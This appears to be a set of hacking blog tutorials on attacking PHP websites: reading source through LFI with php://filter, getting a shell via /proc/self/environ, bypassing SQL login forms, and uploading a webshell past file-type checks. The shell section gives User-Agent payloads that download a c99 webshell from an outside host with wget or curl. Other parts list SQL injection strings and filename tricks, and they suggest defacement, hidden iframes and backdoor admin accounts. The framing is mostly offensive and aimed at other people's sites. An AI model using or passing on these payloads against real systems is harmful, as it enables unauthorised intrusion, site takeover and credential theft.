LFI TIP: HOW TO READ SOURCE CODE USING PHP://FILTER

OK so you wont be able to shell a site everytime you find a LFI vulnerability. That being said doesn’t mean we still cant work on a few other methods and still manage to walk away with some valuable information. Today I will show you briefly another method which can be leveraged when you find an LFI vulnerability to get that job done through the use of php:// filters…

OK so you have found your LFI link but cant get access to logs or conditions aren’t right for gaining shell access:

OK, well before you give up and go report the site is only mildly vulnerable we will test further to see if we can read any of the target servers files. We will use a method to view the source of any PHP file through the use of the PHP filter wrapper function “php://filter/convert.base64_encode/resource=” which has been available since PHP 5.0.0. The syntax to use works like this:

SYNTAX:

http://www.site.com/vulnpage.php?page=php://filter/convert.base64-encode/resource=FileNameToRead

I should note that in most cases include function will append the “.php” to your FileNameToRead BUT in some cases you may need to define this in your injection by also including the file ending (.php). Through this method it forces PHP to base64 encode the target file before excecuting and then returning that encoding to us. We can then simply decode the results after this with our favorite tool and obtain the source code of the PHP files on the target site.

RETURNED RESULT:

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMC8vRU4iPgo8aHRtbD4KPGhlYWQ+CiAgPHRpdGxlPk15IEZpcnN0IFRlc3QgU2l0ZTwvdGl0bGU+CiAgPE1FVEEgSFRUUC1FUVVJVj0iUmVmcmVzaCIgQ09OVEVOVD0iMTsgVVJMPWh0dHA6Ly90ZXN0c2l0ZS5jb20vaW5kZXgucGhwIj4KPC9oZWFkPgo8Ym9keT4KPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgIElmIHlvdSBhcmUgbm90IHJlZGlyZWN0ZWQgcGxlYXNlIGNsaWNrIDxhIGhyZWY9IiBodHRwOi8vdGVzdHNpdGUuY29tL2luZGV4LnBocCAiPmhlcmU8L2E+Lgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+

If we base64 decode the results, we see the actual source code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<html>

<head>

  <title>My First Test Site</title>

  <META HTTP-EQUIV="Refresh" CONTENT="1; URL=http://testsite.com/index.php">

</head>

<body>

<div align="center">

    If you are not redirected please click <a href=" http://testsite.com/index.php ">here</a>.

</div>

</body>

</html>

You can now go through source code to review for further code exploits, SQL injections, or enumerate for configuration files and try to grab juicy connection credentials. The options are up to you, but thought I would add this to the LFI series since I have not seen it discussed very much. Hope you were able to follow along and until next time…Enjoy!

Burp Suite - Part III: LFI Exploitation via /proc/self/environ

OK, so today I have a treat for you in the form of a short video. Since I already covered how to perform LFI Exploitation via /proc/self/environ method manually, I figured I would show you how it can be done with the Burp Suite tools. It is fairly easy to follow along in the video and it aligns with the manual process so it should come easy enough for most. The needed files are all included in my original HR Burp Suite Download Pack. Until next time, Enjoy!

Looking for a introduction to Burp Suite? Check this out!

EXPLOITING LFI VULNERABILITIES via /PROC/SELF/ENVIRON

I previously covered how to exploit LFI vulnerabilities with FIMAP but have received some questions from folks due to FIMAP not always picking the injection points up. Automated tools are nice but if you don’t know how to do it manually then you can miss a lot of possible vulnerabilities and opportunities you can leverage to exploit your target (plus its good to know what goes on behind the scenes). Today I am going to show you how to perform LFI exploitation through the /proc/self/environ method. Here goes…

OK, so first we walk through our site and we notice a link which seems to be referencing another document on the server. This is a good place to start investigating potential LFI vulnerabilities.

http://www.site.com/index.php

We click on "Contact Us">>leads us to...

http://www.site.com/index.php?page=contact.php&title=ContactUs

NOTE: page= appears to reference to another document on server (in this case contacts.php)

Let us see what happens if we replace the standard link with some arbitrary data:

              http://www.site.com/index.php?page=1

Now let us try to reference a real document which we know to be on all unix machines, /etc/passwd:

Voila! We can read the /etc/passwd file through LFI! This is good, but now we need to check to see if /proc/self/environ is accessible. If it is we can leverage it to get a shell on the target site. If it is not then we will need to further investigate which files we can access and then see if we can inject into any of them. I will only be focusing on the /proc/self/environ method for now, but may write another follow up in future to cover some of the other methods which can be used for LFI takeover. OK, so now we check for existance of /proc/self/environ:

NOTE the “DOCUMENT_ROOT=[VALUE]” on the returned page. This is the key indicator that we have access to the /proc/self/environ which we can now leverage to put a shell on the target site. We will accomplish this by injecting our PHP code into the User Agent field when we request this file again. Due to the way this is processed it will inject our code and then we can use to further escalate priveleges. We will now inject this code into our page request for /proc/self/environ and refresh the page.

Inject PHP code in UA field, like one of these:

We can now read the results of any of the commands we pass through in the User-Agent field, it will look similar to this:

ID: <?system('id');?>

UNAME: <?system('uname -a');?>

UPLOAD SHELL WITH WGET: <?system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>

OR

UPLOAD SHELL WITH CURL: <?system('curl -o shell.php http://www.sh3ll.org/c99.txt');?>

NOTE: to inject the code into the User-Agent field you will need a add-on for your browser such as Live HTTP Headers, Tamper Data, or Burp Suite.

Once our code is injected we simply navigate to the webshell we just uploaded, should be located in site.com/shell.php unless you instructed it to go elsewhere when you used your WGET or CURL command for shell download. If your lucky when you go to your shell you will be greeted with something similar to this:

Now that you have a shell on the site you are fairly free to do what you want. I hope you have enjoyed another brief tutorial on LFI. I will try to work on follow up articles covering Log Injection methd and one or two more methods that can be used when the conditions are right. Until next time, enjoy!

BURP SUITE - PART II: SQL Authentication Bypass

Today I am going to extend my previous tutorial where I introduced you to Burp Suite tools so that we can now audit login forms for SQL Authentication Bypass vulnerabilities. This is a common problem found daily in the wild where PHP & MySQL are being used as the Authorization mechanism based on dynamic SQL Query's which are completed from user input supplied through login form. This can be time consuming and repetitive to conduct manually but it is relatively easy to audit - and after reading this it will be even easier, especially with Burp! I will first provide an explanation of the problem and what is going on which allows the vulnerability to be exploited followed by an example, so here goes…

As mentioned above Authentication Bypass vulnerabilities often occur due to a lack of filtering of user supplied input. If we review a quick example of code from a PHP/MySQL authentication page we will begin to see things more clearly. You can find some test samples with quick Google dork “file:php/asp inurl:admin/login”, but here is sample login to keep it easy:

<?php

$sql = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $POST_['password'] . "'";

response = mysql_query($sql);

?>

This code fails to filter or check the user supplied input. The target system reads like so as result:

SELECT * FROM users WHERE user='' AND password=''

Since this is not filtered or checked we will pick a username and use SQL Injection on the secondary field. Let us assume we choose the username “webadmin” and the SQL Injection:

' OR 'x' = 'x

This is now how the query looks that will get passed through:

                SELECT * FROM users WHERE user='webadmin' AND password='' OR 'x' = 'x'

This is how the target system actually reads & parses the request:

SELECT * FROM users WHERE user='webadmin' AND TRUE

The ultimate goal here is to use our SQL injection to alter the SQL query so that it is fooled into letting us in. This works as you can see above as ‘x’ is always going to be equal to ‘x’ so it will always return as TRUE, and thus the system will grant us webadmin user access to walk right in through the front door without any real password.

Now we could use alternative injections above, like:

·         ' or '1'='1

·         ' or 'x'='x

·         ') or ('x'='x

·         ') or ('1'='1

·         …etc

Some customization may be needed to fit your specific need (Sometimes injections need to be placed in both fields; sometimes it needs more complex syntax, HEX or Char encoding may be needed, etc). You could easily build your own list, but I have gone ahead and put together a decent list to help get you started. The list can be found in the AuthBypass/auth-bypass.txt file which is included in my full download here: HR’s Burp Starter Pack.

Now with Burp Suite:

Now rather than try each potential SQL statement or injection we place all of our potential injections into a single file and then let Burp run the requests in an automated fashion. This will help to save you time, as well as allow easier parsing of the results in a systematic way. In order to do this we simply submit a bogus request with arbitrary data submitted (user: foo, pass: bar).

We then load up the request and send it to the Intruder tool to build our attack. We clear the default injection points and specifically set them around our password field or both user and password fields. You will choose the Sniper or Battering Ram attacks for this method, depending on how you want to test the form. You will then need to set the payload to run your auth-bypass.txt file. You can add some additional inspection items to the grep field if you want. I find it is often helpful to add some basic text you might see upon failed or successful login attempts (welcome, success, failed, wrong, etc).

Once you run the Intruder tool it is time to sit back and interpret the results. You will need to check time, length, grep, etc and manually review any of the requests that appear to show a noticeable variance in responses.

Once you find one, re-test it manually in the browser to see if it works.

If it works you are in, if not keep analyzing and inspecting further.

Rinse, wash, and repeat as necessaryJ. Here is a quick video to show how things should work for those of you that needed the real time visual aid (I know I usually do):

I hope you have enjoyed another tutorial on the Burp Suite and how it can be used to perform quick and accurate audits of login forms to see if they are vulnerable to Authentication Bypass via SQL Injection. I plan to have a follow up tutorial stemming from this one which adapts the methods slightly to perform dictionary attacks against login forms. Please check back often and soon for more updates and more tutorials to come. As always and until next time, Enjoy!

Thanks,

H.R.

How to Upload a Shell

Today I will show you how you can upload a webshell to a website after you have successfully found your way into the admin panel. I will start with the end of my SQLi session and dive into working to upload a shell through the admin panel. Please hold your questions till the end ;)

Ok so you found a vulnerable site and or somehow have managed to come across the admin credentials.

Uh oh, it is encrypted MD5! It's OK, we do quick check with the big online databases to save time and if we don’t find it there then we follow my other tutorial on how to use Hashcat tools to crack it ourselves. Lucky for us our Admin choose poor strength password which was easily found online with a quick check:

OK, so now we have admin credentials. We use our favorite admin finder, cross our fingers, and hope we find one that will work with the credentials we found. Here is a good online admin finder if you need one: http://sc0rpion.ir/af/

Once you make your way into the actual admin panel it is wise to take a look around to see what all you have access to. If you just want to leave your mark you may be able to quickly edit HTML on pages or inject a hidden iframe or an effective stored XSS of some kind (pop-up or redirect), but for this tutorial we will be focusing on how we can get a web-shell on the site, something like c99, GNY, etc. We will have much more flexibility with a full featured web-shell. OK, so you will want to look around and see what you can do as admin, maybe quickly add a new user with some rights in case the real admin changes their password. Then start looking for ways to upload things, doesn't really matter what it is for now - typically you can find areas to add news, products, images, movies, etc. We will leverage one of these upload fields to inject our shell instead and gain better access to our target site. In some cases you will find you can simply upload your shell with no problems, so always check if it will take “shell.php” first. In most cases it won't, if it does then there is no reason to continue reading as you’re in J. If it doesn't then things get interesting as we need to now find a way to manipulate our upload so it bypasses any file restrictions. How can we do this you say? By controlling our request we send in more detail. We will use Live HTTP Headers add-on for Firefox in this example, you could also use Burp Suite, or Tamper Data add-on (others exist too but these are main options I know). We will use these tools which allow us to manipulate more aspects of the actual HTTP request we send when we hit the actual upload button. We first will upload our file as “shell.php”.  

We typically will get an error indicating we can’t upload PHP files, and if we are lucky it will tell us what kind of files are acceptable. OK, let us try to fool it into thinking it is something else that is on the acceptable list. We can play wile file naming conventions or through the addition of NULL bytes (). They both are effective and you really have to play with both options until you find something which works, here are a few common methods I use which you can easily expand upon:

                shell.php

                shell.php.jpg

                shell.php.gif

                shell.php.jpg

                shell.php;fake.pdf

                shell.php.gif

                shell.php;fake.mp3

                ....

You get the idea. The point is that the “.xxx” file ending is what gets read during check and when server scans hopefully the null byte () causes it to stop reading the rest making it stop at “.php”. If this doesn't work or you shell is getting messed up when it is uploaded then we will use Live HTTP Headers to modify the request on the fly and in addition to faking out the file type we will straight change the file type in the request we send. Start Live HTTP Headers and make sure it is setup to capture requests (small check box at bottom):

Then you first submit the one that works to simply work and get the request formatting saved. Then replay the request so that a new window pops up and then modify the text in the request to remove the fake.fake-file-ending part so all that is left is “shell.php”.

NOTE: you probably need to scroll to the top and choose the first one since we started it only to capture the submission this should be the first request

When you hit replay it pulls up the original request to modify before sending. Find the part for the filename (use FIND to make it quick). Change the file name so all that is left is “shell.php” and then hit replay again. It will submit through browser and you should now be done.

Now find the file by right clicking or whatever means necessary and open in new browser tab.

Voila shell properly uploaded and working – Game Over, you win!

If you have problems finding your shell, here are a few helpful hints to finding it:

1 – Right click uploaded image on site and check its location. See if directory indexing is turned off, if it is not then you can easily see what all is in the folder until you find your shell. You might have to try a few images or locations on the site, just try to use other items from the same category your uploading to and think logically about it.

2 – If you can’t find it then I suggest scanning the site with a web-scanner like Accunetix, W3af, or something else you like better to see if it can find it (infrastructure scanning, or if you require password for shell check for auth files, or backdoors, etc)

3 – If you absolutely still can’t find it, you can try Google search to help find your shell. Use dorks and text from your shell or file name to try and find it on site.

Remember you won’t always get admin access and you can’t shell every site, but here is one more trick to add to your bag to increase your chances. If you’re a coder, then this is one more reason to check your uploads as you won’t always get what you expect coming through, don’t expect every user to be nice and use the system as intended as this method can be used against any upload form, not just admin panels. I hope you have enjoyed this brief tutorial. If any questions, comments, or suggestions please post here or let me know.

EXTRA BONUS:

For those that need a video to grasp the concept, here you go: 

Until next time, Enjoy!

Laters,

H.R.